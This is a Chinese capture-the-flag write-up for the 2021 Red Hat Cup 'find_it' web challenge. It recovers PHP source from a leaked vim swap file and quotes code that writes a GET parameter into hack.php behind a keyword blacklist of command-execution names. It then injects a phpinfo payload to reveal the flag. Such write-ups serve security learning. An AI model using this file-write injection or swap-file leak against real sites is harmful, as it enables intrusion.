【vim文件备份&&写入木马】 红帽杯2021 find_it WriteUp

本文最后更新于:2021年5月22日晚上6点44分

WriteUp:

打开题目,界面如下:

image-20210509180826476

f12中也没有任何提示,查看robots.txt页面

image-20210509180919614

访问:http://eci-2zefc95c45rhde7czrek.cloudeci1.ichunqiu.com/1ndexx.php,页面出现500错误

image-20210509181008387

猜测有vim文件泄露

访问:http://eci-2zefc95c45rhde7czrek.cloudeci1.ichunqiu.com/.1ndexx.php.swp,获取到页面源代码

image-20210509181125788

代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
die("you die");
}
if(strlen($a)>33){
die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

在主页面index.php中传入code参数,会将code参数中的值加入到hack.php

因此先向主页面index.php传参code=<?php phpinfo();?>

http://eci-2zefc95c45rhde7czrek.cloudeci1.ichunqiu.com/index.php?code=<?php phpinfo(); ?>

然后访问hack.php

image-20210509181832442

搜索flag字样

image-20210509181912460

flag为:flag{20fde5ea-ada5-488f-8e42-2ce6f4270374}